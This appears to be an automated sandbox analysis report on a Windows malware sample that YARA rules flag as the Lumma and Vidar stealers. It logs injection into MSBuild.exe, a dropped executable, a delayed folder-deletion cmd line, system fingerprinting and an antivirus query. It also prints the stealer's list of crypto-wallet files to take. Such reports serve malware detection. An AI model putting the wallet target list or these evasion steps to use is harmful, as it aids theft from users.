Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: D09008	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\KEGIDHJKKJ.exe "C:\ProgramData\KEGIDHJKKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGIJDGCAEBFI" & exit	Jump to behavior
Source: C:\ProgramData\KEGIDHJKKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Code function: 0_2_0091E013 cpuid

0_2_0091E013

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0090C085
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetLocaleInfoW,	0_2_0090622B
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	0_2_009423DB
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: EnumSystemLocalesW,	0_2_0090C327
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: EnumSystemLocalesW,	0_2_0090C372
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0090C498
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: EnumSystemLocalesW,	0_2_0090C40D
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_0094456E
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetLocaleInfoW,	0_2_0090C6EB
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0090C814
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0090C9E9
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: GetLocaleInfoW,	0_2_0090C91A
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	0_2_00946A48
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_00947B38
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_00945DBC
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: EnumSystemLocalesW,	0_2_00905D7F
Source: C:\Users\user\Desktop\f1r6P3j3g7.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	0_2_00946D66
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	3_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	3_2_0042E7C4
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	10_2_00D1C085
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetLocaleInfoW,	10_2_00D1622B
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: EnumSystemLocalesW,	10_2_00D1C372
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: EnumSystemLocalesW,	10_2_00D1C327
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00D1C498
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: EnumSystemLocalesW,	10_2_00D1C40D
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetLocaleInfoW,	10_2_00D1C6EB
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00D1C814
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00D1C9E9
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: GetLocaleInfoW,	10_2_00D1C91A
Source: C:\ProgramData\KEGIDHJKKJ.exe	Code function: EnumSystemLocalesW,	10_2_00D15D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\f1r6P3j3g7.exe

Code function: 0_2_008F7815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_008F7815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00410C53 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 11.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.KEGIDHJKKJ.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2205515395.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f1r6P3j3g7.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6628, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: MSBuild.exe, 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
